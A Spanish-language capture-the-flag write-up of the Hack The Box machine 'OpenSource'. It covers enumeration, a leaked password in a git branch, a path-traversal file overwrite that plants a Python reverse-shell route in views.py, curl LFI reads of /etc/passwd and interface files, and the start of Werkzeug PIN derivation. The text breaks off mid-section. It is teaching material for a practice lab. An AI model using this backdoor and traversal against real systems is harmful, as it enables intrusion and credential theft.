OpenSource - Hack The Box
Esta fue una máquina que para nada es fácil; hubo que hacer bastante investigación. Empezamos enumerando la página web, aquí encontramos que podemos subir archivos y luego visitarlos, y también podemos descargar un archivo ZIP que contiene un repositorio de Git que es igual a la página web. Nos aprovechamos de tener los archivos de la página web para descubrir una vulnerabilidad en su sanitización de archivos, lo que nos permite suplantar cualquier archivo existente de la página web. Además, descubrimos unas credenciales de un usuario al enumerar el repositorio de Git, encontrándolas en una rama anterior. Sabiendo esto, suplantamos un script que nos crea una Reverse Shell/Backdoor con la que podemos obtener una shell cada vez que lo visitemos. Haciendo más pruebas a la sanitización, descubrimos que es posible aplicar LFI, que esto nos ayuda más adelante. Aplicando Fuzzing, descubrimos una consola de Flask que sirve para debuggear errores, siendo necesario un PIN para su acceso, copiamos el proceso que crea esos PIN usando un script de HackTricks con el cual nos genera un PIN estático que nos da acceso a la consola, esto lo logramos gracias al LFI descubierto, siendo otra forma con la que podemos obtener una shell. Dentro del contenedor de docker, descubrimos un puerto que al aplicar pivoting con chisel, encontramos que es el software Gitea, aquí probamos las credenciales que encontramos en el repositorio de Git y ganamos acceso, encontrando aquí un Backup que guarda las llaves del servicio SSH, así ganamos acceso a este servicio. Al final, usamos pspy para descubrir tareas CRON en uso, encontrando una que está relacionada con un repositorio Git del usuario actual, investigamos este repositorio y descubrimos que ocupa Hooks para su funcionamiento, aprovechándonos de esto, creamos un Hook que cambia los permisos de la Bash y nos permite escalar privilegios para ser el usuario Root.
Herramientas utilizadas:
- ping
- nmap
- wappalizer
- whatweb
- echo
- 7z
- gunzip
- python3
- BurpSuite
- wfuzz
- gobuster
- git
- ssh
- nc
- curl
- python
- chmod
- chisel
- lsof
- sudo
- id
- uname
- wget
- pspy64
- bash
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Analizando Servicio HTTP
- Analizando Contenido de Archivo ZIP
- Prueba de Concepto de Sanitización con BurpSuite
- Fuzzing
- Enumeración de Git
- Explotación de Vulnerabilidades
- Suplantando Script views.py de la Página Web para Generar una Backdoor
- Aplicando Local File Inclusion
- Ganando Acceso a la Consola de Flask Copiando el Proceso de Generación de PIN de Werkzeug
- Enumeración de Contenedor Docker y Utilizando Chisel
- Obteniendo Llave Privada y Entrando a Servicio SSH
- Post Explotación
- Links de Investigación
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 10.10.11.164
PING 10.10.11.164 (10.10.11.164) 56(84) bytes of data.
64 bytes from 10.10.11.164: icmp_seq=1 ttl=63 time=102 ms
64 bytes from 10.10.11.164: icmp_seq=2 ttl=63 time=88.7 ms
64 bytes from 10.10.11.164: icmp_seq=3 ttl=63 time=77.0 ms
64 bytes from 10.10.11.164: icmp_seq=4 ttl=63 time=88.9 ms
--- 10.10.11.164 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3008ms
rtt min/avg/max/mdev = 76.989/89.215/102.273/8.949 ms
Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.164 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-07 12:35 CST
Initiating SYN Stealth Scan at 12:35
Scanning 10.10.11.164 [65535 ports]
Discovered open port 22/tcp on 10.10.11.164
Discovered open port 80/tcp on 10.10.11.164
Completed SYN Stealth Scan at 12:35, 24.70s elapsed (65535 total ports)
Nmap scan report for 10.10.11.164
Host is up, received user-set (0.30s latency).
Scanned at 2024-10-07 12:35:32 CST for 25s
Not shown: 36309 filtered tcp ports (no-response), 29224 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 62
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 24.94 seconds
Raw packets sent: 120462 (5.300MB) | Rcvd: 29925 (1.197MB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Solamente vemos 2 puertos abierto. Veamos que información podemos obtener de estos dos.
Escaneo de Servicios
nmap -sCV -p 22,80 10.10.11.164 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-07 12:36 CST
Nmap scan report for 10.10.11.164
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
| 256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_ 256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Mon, 07 Oct 2024 18:36:36 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5316
| Connection: close
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>upcloud - Upload files for Free!</title>
| <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
| <script src="/static/vendor/popper/popper.min.js"></script>
| <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
| <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
| <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
| <link rel=
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Mon, 07 Oct 2024 18:36:36 GMT
| Content-Type: text/html; charset=utf-8
| Allow: OPTIONS, GET, HEAD
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94SVN%I=7%D=10/7%Time=67042A2D%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,1573,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x
SF:20Python/3\.10\.3\r\nDate:\x20Mon,\x2007\x20Oct\x202024\x2018:36:36\x20
SF:GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\
SF:x205316\r\nConnection:\x20close\r\n\r\n<html\x20lang=\"en\">\n<head>\n\
SF:x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<meta\x20na
SF:me=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\.0\
SF:">\n\x20\x20\x20\x20<title>upcloud\x20-\x20Upload\x20files\x20for\x20Fr
SF:ee!</title>\n\n\x20\x20\x20\x20<script\x20src=\"/static/vendor/jquery/j
SF:query-3\.4\.1\.min\.js\"></script>\n\x20\x20\x20\x20<script\x20src=\"/s
SF:tatic/vendor/popper/popper\.min\.js\"></script>\n\n\x20\x20\x20\x20<scr
SF:ipt\x20src=\"/static/vendor/bootstrap/js/bootstrap\.min\.js\"></script>
SF:\n\x20\x20\x20\x20<script\x20src=\"/static/js/ie10-viewport-bug-workaro
SF:und\.js\"></script>\n\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20h
SF:ref=\"/static/vendor/bootstrap/css/bootstrap\.css\"/>\n\x20\x20\x20\x20
SF:<link\x20rel=\"stylesheet\"\x20href=\"\x20/static/vendor/bootstrap/css/
SF:bootstrap-grid\.css\"/>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x2
SF:0href=\"\x20/static/vendor/bootstrap/css/bootstrap-reboot\.css\"/>\n\n\
SF:x20\x20\x20\x20<link\x20rel=")%r(HTTPOptions,C7,"HTTP/1\.1\x20200\x20OK
SF:\r\nServer:\x20Werkzeug/2\.1\.2\x20Python/3\.10\.3\r\nDate:\x20Mon,\x20
SF:07\x20Oct\x202024\x2018:36:36\x20GMT\r\nContent-Type:\x20text/html;\x20
SF:charset=utf-8\r\nAllow:\x20OPTIONS,\x20GET,\x20HEAD\r\nContent-Length:\
SF:x200\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,1F4,"<!DOCTYPE\x20
SF:HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\
SF:n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-
SF:equiv=\"Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x2
SF:0\x20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20
SF:\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h
SF:1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20c
SF:ode:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20
SF:request\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\
SF:x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\
SF:x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.60 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Parece que el servicio SSH no acepta un login con credenciales. Podríamos comprobarlo, pero no tenemos credenciales por ahora, por lo que todo apunta a que debemos comenzar por el puerto 80.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos:
Al parecer, esto es un servicio para subir y compartir archivos.
Veamos que nos dice Wappalizer:
Está utilizando Flask y Python, esto puede ser útil más adelante.
Veamos si whatweb nos da algo de información extra:
whatweb http://10.10.11.164
http://10.10.11.164 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTTPServer[Werkzeug/2.1.2 Python/3.10.3], IP[10.10.11.164], JQuery[3.4.1], Python[3.10.3], Script, Title[upcloud - Upload files for Free!], Werkzeug[2.1.2]
Se ven algunas cosas extras que también reportó el escaneo con nmap, pero nada nuevo.
Hay varios botones que no llevan a nada, a excepción de dos:
El primero nos descarga un archivo ZIP que analizaremos después y el segundo nos lleva a otra página en la que podemos subir archivos:
Probemos a subir un archivo random para ver qué pasa:
echo "Esto es una prueba" > test.txt
Nos genera un link que podemos visitar:
Parece que nos está interpretando lo que estamos subiendo.
Podríamos probar si nos acepta archivos PHP aunque lo dudo bastante, pero lo que sí podemos probar, es subir un archivo de Python para ver si lo interpreta.
Vamos a crear uno simple:
Y carguémoslo:
Parece que no interpreto el archivo como Python, sino que lo descargo.
Cambiémoslo a un archivo de texto y probemos de nuevo:
Nada, de momento, no es por aquí la movida.
Analizando Contenido de Archivo ZIP
Veamos el contenido del archivo ZIP:
7z l source.zip
7-Zip 24.08 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-08-11
Scanning the drive for archives:
1 file, 2489147 bytes (2431 KiB)
Listing archive: source.zip
--
Path = source.zip
Type = zip
Physical Size = 2489147
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2022-04-28 05:45:52 D.... 0 0 app
2022-04-28 06:50:20 D.... 0 0 app/app
2022-04-28 06:50:20 ..... 707 310 app/app/views.py
2022-04-28 05:34:45 ..... 262 160 app/app/__init__.py
2022-04-28 05:39:31 D.... 0 0 app/app/static
2022-04-28 05:34:45 D.... 0 0 app/app/static/js
...
...
...
2022-04-28 05:45:17 ..... 189 138 .git/hooks/post-update.sample
2022-04-28 05:45:17 ..... 3610 1141 .git/hooks/update.sample
2022-04-28 05:45:17 ..... 3079 1463 .git/hooks/fsmonitor-watchman.sample
2022-04-28 06:50:20 ..... 5746 2509 .git/index
2022-04-28 05:45:17 D.... 0 0 .git/logs
2022-04-28 06:50:20 ..... 1741 405 .git/logs/HEAD
2022-04-28 05:45:17 D.... 0 0 .git/logs/refs
2022-04-28 05:45:52 D.... 0 0 .git/logs/refs/heads
2022-04-28 05:55:55 ..... 497 204 .git/logs/refs/heads/public
2022-04-28 05:47:24 ..... 581 233 .git/logs/refs/heads/dev
------------------- ----- ------------ ------------ ------------------------
2022-04-28 06:50:20 6204731 2440275 152 files, 96 folders
Podemos ver archivos de Git, entonces, acabamos de descargar un repositorio comprimido.
Descomprímelo para analizar su contenido:
unzip source.zip
Archive: source.zip
creating: app/
creating: app/app/
inflating: app/app/views.py
inflating: app/app/__init__.py
creating: app/app/static/
creating: app/app/static/js/
...
...
...
Son bastantes archivos que vamos a ver que son:
ls
app build-docker.sh config Dockerfile source.zip
Veamos el contenido del Dockerfile:
cat Dockerfile
FROM python:3-alpine
# Install packages
RUN apk add --update --no-cache supervisor
# Upgrade pip
RUN python -m pip install --upgrade pip
# Install dependencies
RUN pip install Flask
# Setup app
RUN mkdir -p /app
# Switch working environment
WORKDIR /app
# Add application
COPY app .
# Setup supervisor
COPY config/supervisord.conf /etc/supervisord.conf
# Expose port the server is reachable on
EXPOSE 80
# Disable pycache
ENV PYTHONDONTWRITEBYTECODE=1
# Set mode
ENV MODE="PRODUCTION"
# Run supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
Parece que al ejecutar este archivo, nos crea un contenedor de docker que tendrá varias configuraciones activas.
Analizándolo un poco a fondo, entendemos que se usa una versión minimalista de Linux llamada 3-alpine que se instala con Python (o eso creo yo), actualizar PIP, instalar Flask, crear directorios, copiar un archivo para configurar un supervisor, exponer el puerto 80, desactiva el pycache, entra en modo producción y ejecuta el supervisor.
El archivo build-docker.sh no tiene información útil.
Entremos al directorio config y analicemos el archivo que está ahí:
cat supervisord.conf
[supervisord]
user=root
nodaemon=true
logfile=/dev/null
logfile_maxbytes=0
pidfile=/run/supervisord.pid
[program:flask]
command=python /app/run.py
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
Bien, este archivo me da a entender que el usuario root es el dueño y quien supervisa todo el contenedor. Además, se ve que está ejecutando un archivo llamado run.py en Flask.
Vamos a verlo, se encuentra dentro del directorio /app:
import os
from app import app
if __name__ == "__main__":
port = int(os.environ.get("PORT", 80))
app.run(host='0.0.0.0', port=port)
No podemos sacar mucho de aquí y tampoco hay más que podamos ver en este directorio.
Entremos al otro directorio /app y veamos qué hay ahí:
ls
__init__.py configuration.py static templates utils.py views.py
pwd
/content/app/app
Aquí hay más archivos Python.
Pero los que se me hacen interesantes son el archivo utils.py y views.py.
Veamos primero el archivo utils.py:
import time
def current_milli_time():
return round(time.time() * 1000)
"""
Pass filename and return a secure version, which can then safely be stored on a regular file system.
"""
def get_file_name(unsafe_filename):
return recursive_replace(unsafe_filename, "../", "")
"""
TODO: get unique filename
"""
def get_unique_upload_name(unsafe_filename):
spl = unsafe_filename.rsplit("\\.", 1)
file_name = spl[0]
file_extension = spl[1]
return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension
"""
Recursively replace a pattern in a string
"""
def recursive_replace(search, replace_me, with_me):
if replace_me not in search:
return search
return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)
Parece que este script se asegura de que el archivo subido no tenga un nombre que permita la lectura de archivos locales del servidor, es decir, sanitiza los archivos subidos, pues se asegura de que el nombre del archivo subido no tenga ../
.
Ahora veamos el archivo views.py:
import os
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
Este script se encarga de implementar la parte de la carga de archivos, esto a partir de la función def upload_file
. Cuando se envía un archivo (POST), sanitiza el nombre del archivo utilizando la función get_file_name
del script utils.py y lo guarda en la ruta /public/uploads
más el nombre del archivo sanitizado. Por último, renderiza una plantilla de HTML en donde mostrará la URL del host más el directorio uploads más el nombre del archivo, ejemplo: http://10.10.11.164/uploads/test.txt
.
En la segunda función, se encarga de obtener el path del archivo subido y lo sanitiza con la función get_file_name
del script utils.py, después envía el archivo a la ruta /public/upload
más el path del archivo.
Esta última función es curiosa.
Probemos su funcionamiento en una sesión de Python, cargale la librería os para que funcione:
python3
Python 3.12.6 (main, Sep 7 2024, 14:20:15) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
Ahora pasemos la función os.path.join
y al último argumento, pongamos un nombre random:
>>> os.path.join(os.getcwd(), "public", "uploads", "test")
'/exploits/public/uploads/test'
Por último, cambiemos el nombre random por uno de un directorio para simular un path:
>>> os.path.join(os.getcwd(), "public", "uploads", "/test")
'/test'
Entiendo que, cuando realiza este proceso, evita que podamos aplicar un ataque LFI o un Directory Trasversal.
Vamos a probar la sanitización que se está haciendo para ver si la podemos romper.
Prueba de Concepto de Sanitización con BurpSuite
Abre BurpSuite y captura una subida de un archivo:
Envíala al Repeater, borra el nombre del archivo y envía la petición:
Observa que nos suelta información que no debería, siendo esto un information leakage y nos da la oportunidad de probar la sanitización que hemos visto que ocurre.
Agrega solamente puntos en el nombre del archivo y ve que aparecen en el path que no deberíamos ver:
Ahora, qué pasa si ponemos una diagonal solamente:
Ya no aparece el path de antes, solamente la pura diagonal.
Por último, probemos lo que pasa si cambiamos el nombre del archivo a ../
:
Parece que lo elimina, pero nos vuelve a mostrar el path.
Acabamos de comprobar que la sanitización sí funciona, pero no es del todo segura, pues si seguimos jugando con puntos y diagonales, encontraremos que sí acepta archivos con doble diagonal.
Pruébalo:
Esto quiere decir que es posible agregar un archivo a una ruta que queramos, por ejemplo, una ruta del path actual de la página web para suplantar un archivo.
Pero antes de probar esto, veamos si no hay algo que nos falte revisar aplicando Fuzzing.
Fuzzing
wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.11.164/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.164/FUZZ
Total requests: 220545
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000003: 200 9802 L 92977 W 2359649 C "download"
000003630: 200 45 L 144 W 1563 Ch "console"
000045226: 200 130 L 420 W 5313 Ch "http://10.10.11.164/"
Total time: 0
Processed Requests: 220545
Filtered Requests: 220542
Requests/sec.: 0
Parámetros | Descripción |
---|---|
-c | Para ver el resultado en un formato colorido. |
–hc | Para no mostrar un código de estado en los resultados. |
-t | Para indicar la cantidad de hilos a usar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
Ahora probemos con gobuster:
gobuster dir -u http://10.10.11.164/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.164/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/download (Status: 200) [Size: 2489147]
/console (Status: 200) [Size: 1563]
Progress: 220545 / 220546 (100.00%)
===============================================================
Finished
===============================================================
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
Revisemos esa página que encontró llamada /console:
Parece que podemos entrar a una consola interactiva en la web, pero necesitamos un PIN válido para poder entrar.
Con esto, ya tenemos 2 formas en las que podemos tratar de ganar acceso a la máquina y vamos a aplicar ambas.
Enumeración de Git
Algo que casi se nos olvida, es enumerar el repositorio de Git en cuanto a logs, etiquetas, ramas, etc.
Veamos primero que ramas existen:
git branch -a
dev
* public
Tenemos 2 ramas y algo me dice que en la rama dev, vamos a encontrar algo.
Cambiemos a esa rama y veamos los logs:
git log
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:47:24 2022 +0200
ease testing
commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:54 2022 +0200
added gitignore
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:16 2022 +0200
updated
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial
Hay varios, te diría que revises todos (que es lo esencial), pero aquí están los commits más importantes:
- a76f8f75f7a4a12b706b0cf9c983796fa1985820
- be4da71987bbbc8fae7c961fb2de01ebd0be1997
Si los revisamos, encontraremos lo que parece ser un usuario y contraseña:
git show a76f8f75f7a4a12b706b0cf9c983796fa1985820
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:16 2022 +0200
updated
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
new file mode 100644
index 0000000..5975e3f
--- /dev/null
+++ b/app/.vscode/settings.json
@@ -0,0 +1,5 @@
+{
+ "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+ "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
+ "http.proxyStrictSSL": false
+}
...
...
Probemos si de pura casualidad sirven en el servicio SSH:
ssh dev01@10.10.11.164
dev01@10.10.11.164: Permission denied (publickey).
Pues no funcionó y era lo que mencionaba antes, de que no está aceptando credenciales, sino llaves.
Guardemos esas credenciales para más tarde.
Explotación de Vulnerabilidades
Suplantando Script views.py de la Página Web para Generar una Backdoor
La idea es reemplazar un archivo que permita que ganemos acceso a la máquina, siendo nuestra mejor opción el script views.py
.
Esto porque ya vimos que se encarga de guardar los archivos en una ruta que el usuario puede visitar.
Abre el script y agrega la siguiente función:
@app.route('/shell')
def rev_shell():
import socket
import subprocess
import os
import pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("Tu_IP",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("sh")
Esta función va a crear la ruta /shell, que cuando visitemos, nos va a mandar una shell hacia una netcat que tengamos activa, convirtiéndola en una Reverse Shell/Backdoor.
Ahora, debemos suplantar este script y ya probamos que esto es posible.
Sube el script y captúralo con BurpSuite:
Una vez que captures la subida, en el campo de filename, pongamos la ruta del archivo que queremos suplantar, que sería /app/app/views.py
:
Dale a Forward para enviar la petición y suplantar el script views.py:
Al parecer funcionó.
Vamos a comprobarlo:
- Abre una netcat:
nc -nlvp 443 listening on [any] 443 ...
- Visita la ruta:
http://10.10.11.164/shell
o aplica un curl a esa misma URL:curl http://10.10.11.164/shell
- Observa la netcat:
nc -nlvp 443 listening on [any] 443 ... connect to [Tu_IP] from (UNKNOWN) [10.10.11.164] 43260 /app # whoami whoami root
- Listo, ya solo has un tratamiento de la TTY:
/app # python3 -c 'import pty;pty.spawn("sh")'
python3 -c 'import pty;pty.spawn("sh")'
/app # ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
/app #
/app # export TERM=xterm
/app # export SHELL=/bin/sh
/app #
Hemos ganado acceso, pero al contenedor solamente.
Aplicando Local File Inclusion
Cuando descubrimos que se podía suplantar archivos únicamente agregando una diagonal al nombre del archivo, no probamos si podíamos aplicar LFI.
Desde una petición POST no podremos. Vamos a probarlo desde una petición GET.
Captura la petición de un archivo que hayas subido; en mi caso, capturaré el archivo test.txt que ya había subido:
Bien, como este archivo existe, vamos a probar qué pasa si apuntamos al /etc/passwd:
Nos está redireccionando.
No servirá de nada ir a la redirección, por lo que vamos a probar si agregamos el clásico ../
, para probar si se aplica el LFI.
Pruébalo y ve el resultado:
Nos manda al information leakage del path.
Ahora, probemos agregándole la diagonal que le falta y observamos el resultado:
Excelente, entonces es posible aplicar LFI contra la página web.
También podemos aplicarlo con curl, agregando el parámetro --path-as-is
:
curl --path-as-is http://10.10.11.164/uploads/..//etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
Este parámetro sirve para ignorar la cabecera Content-Length y poder ver archivos de más de 2 GB.
Ganando Acceso a la Consola de Flask Copiando el Proceso de Generación de PIN de Werkzeug
Esa consola que encontramos al aplicar Fuzzing, resulta ser un debugger de Flask.
Existe una forma en la que podemos obtener ese PIN que nos pide; la puedes encontrar en HackTricks:
La idea, es ocupar un script que nos permita obtener un PIN válido para ganar acceso a esa consola.
Este script necesita ciertos datos que, en caso de poder aplicar LFI, podemos obtener, aunque algunos ya los tenemos.
Necesita datos públicos y privados.
Datos públicos:
- Username: que ya vimos que el root es quien ejecuta el docker/servidor.
- modname: que ya esta establecido como flask.app.
- getattr(app, ‘name’, getattr(app.class, ‘name’)): ya esta establecido como Flask.
- getattr(mod, ‘file’, None): este representa la ruta completa a app.py dentro del directorio Flask, por ejemplo, /usr/local/lib/python3.5/dist-packages/flask/app.py. Este lo podemos obtener si buscamos un archivo no existente dentro de los archivos cargados, por ejemplo, trata de buscar el archivo test2.txt o test3.txt y observa el resultado:
Ahí esta la ruta completa del script app.py.
Datos privados:
-
uuid.getnode(): este representa la MAC de la máquina víctima; debe estar en hexadecimal. Para obtener este, podemos aplicar un curl a la siguiente ruta:
/sys/class/net/<device_id>/address
, en donde debemos especificar la interfaz de red de la máquina.curl --path-as-is http://10.10.11.164/uploads/..//sys/class/net/eth0/address 02:42:ac:11:00:07 curl: (18) end of response with 4078 bytes missing
Al ser un contenedor, estos tienen la interfaz eth0 por defecto.
Ahora, podemos pasar la MAC a hexadecimal usando Python. Elimina los :
y pega el resultado en Python:
python3
Python 3.12.6 (main, Sep 7 2024, 14:20:15) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x0242ac110007
2485377892359
-
get_machine_id(): se concatena la data de
/etc/machine-id
